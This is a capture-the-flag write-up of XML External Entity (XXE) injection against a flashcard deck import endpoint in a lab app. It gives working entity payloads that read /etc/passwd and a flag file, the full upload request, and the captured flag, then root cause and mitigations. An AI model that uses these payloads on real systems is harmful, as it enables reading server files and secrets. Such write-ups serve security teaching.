XML External Entity (XXE) via Deck Import Feature | Tanuki
Overview
While exploring the application’s functionality, I discovered a feature that allowed users to import custom flashcard decks.
The import page accepted uploaded deck files and also provided a downloadable sample format for users.
1
https://lab-1778141961942-ngsauy.labs-app.bugforge.io/import
The provided sample used JSON format.
Objective
Determine whether the deck import functionality properly validated uploaded file types and securely parsed user-controlled data.
The goal was to test whether alternative content types such as XML could be processed by the backend parser, potentially leading to XML External Entity (XXE) injection.
Reconnaissance
The application provided the following sample deck format:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"name": "Sample Deck",
"description": "A sample deck showing the import format for custom flashcards",
"category": "Example",
"cards": [
{
"front": "What is the capital of France?",
"back": "Paris - the city of lights and capital of France since 987 AD."
},
{
"front": "What programming language is this app built with?",
"back": "JavaScript - using Node.js for backend and React for frontend."
}
]
}
The upload request looked like this:
1
2
3
POST /api/decks/import HTTP/2
Host: lab-1778141961942-ngsauy.labs-app.bugforge.io
Content-Type: multipart/form-data
The uploaded file was sent as multipart form-data with the following content type:
1
Content-Type: application/json
At this point, I started wondering whether the backend relied only on the provided Content-Type header and whether it might also support XML parsing internally.
Testing XML Support
I modified the uploaded file format from JSON to XML and changed the uploaded file content type accordingly.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<deck>
<name>Sample Deck</name>
<description>A sample deck showing the import format for custom flashcards</description>
<category>Example</category>
<cards>
<card>
<front>What is the capital of France?</front>
<back>Paris - the city of lights and capital of France since 987 AD.</back>
</card>
<card>
<front>How do you create a custom deck?</front>
<back>Download this sample file, edit the name, description, category, and cards array with your own content, then upload it using the Import Deck feature.</back>
</card>
</cards>
</deck>
The server accepted the XML file successfully.
This confirmed that the backend parser supported XML processing despite the application originally advertising JSON imports only.
Exploitation
Since the application processed XML input, the next step was testing for XML External Entity (XXE) injection.
I introduced a custom external entity referencing /etc/passwd.
1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE deck [
<!ELEMENT deck ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
Then I injected the entity into the XML document:
1
2
3
4
5
6
7
8
9
10
11
12
<deck>
<name>&xxe;</name>
<description>XXE Test</description>
<category>Example</category>
<cards>
<card>
<front>Test</front>
<back>Testing XXE</back>
</card>
</cards>
</deck>
The final request:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /api/decks/import HTTP/2
Host: lab-1778141961942-ngsauy.labs-app.bugforge.io
Content-Type: multipart/form-data
------BOUNDARY
Content-Disposition: form-data; name="file"; filename="sample-deck.xml"
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE deck [
<!ELEMENT deck ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<deck>
<name>&xxe;</name>
<description>XXE Test</description>
<category>Example</category>
<cards>
<card>
<front>Test</front>
<back>Testing XXE</back>
</card>
</cards>
</deck>
------BOUNDARY--
The server processed the request successfully:
1
2
3
4
5
{
"id": 5,
"message": "Deck imported successfully",
"cards_count": 1
}
This confirmed that:
- XML input was accepted
- External entities were processed
- Arbitrary file reads were possible
Proof of Exploitation
After confirming XXE behavior using /etc/passwd, I targeted the challenge flag file.
1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE deck [
<!ELEMENT deck ANY>
<!ENTITY xxe SYSTEM "file://flag.txt">
]>
Injected payload:
1
2
3
4
5
6
7
8
9
10
11
12
<deck>
<name>&xxe;</name>
<description>XXE Test</description>
<category>Example</category>
<cards>
<card>
<front>Test</front>
<back>Testing XXE</back>
</card>
</cards>
</deck>
The application resolved the external entity and exposed the flag:
1
bug{oXtzp3EObHo6mdijUJYTLEulLQq2T8e6}
Root Cause
The vulnerability existed because the backend XML parser was configured insecurely.
The application:
- Accepted XML uploads unexpectedly
- Trusted user-controlled content types
- Parsed XML documents with external entities enabled
- Failed to disable DTD processing
This allowed attackers to force the server into reading local files from the filesystem.
Impact
Successful exploitation of XXE vulnerabilities can lead to:
- Arbitrary file disclosure
- Sensitive configuration leakage
- Source code exposure
- Internal network interaction (SSRF)
- Cloud metadata access
- Credential disclosure
- Denial of service via entity expansion attacks
In real-world environments, XXE vulnerabilities often expose secrets such as:
.envfiles- SSH keys
- Database credentials
- API tokens
- Kubernetes secrets
- AWS metadata credentials
Mitigation
Disable External Entity Processing
XML parsers should disable:
- DTD processing
- External entities
- External schema loading
Strict File Validation
Only allow explicitly supported formats such as JSON.
Reject:
- XML uploads
- Unexpected MIME types
- Polyglot payloads
Use Secure Parsers
Use hardened XML parsing libraries configured securely by default.
Input Validation
Validate uploaded content structure before processing.
Real-World Insight
XXE vulnerabilities remain common in:
- File import features
- SOAP APIs
- SVG uploads
- Office document parsers
- SAML processing
- Mobile backend services
A common mistake developers make is assuming XML support is harmless while forgetting that many XML parsers automatically resolve external entities unless explicitly disabled.
This challenge was a classic example of how changing a single Content-Type header can completely alter backend behavior and expose hidden attack surfaces.
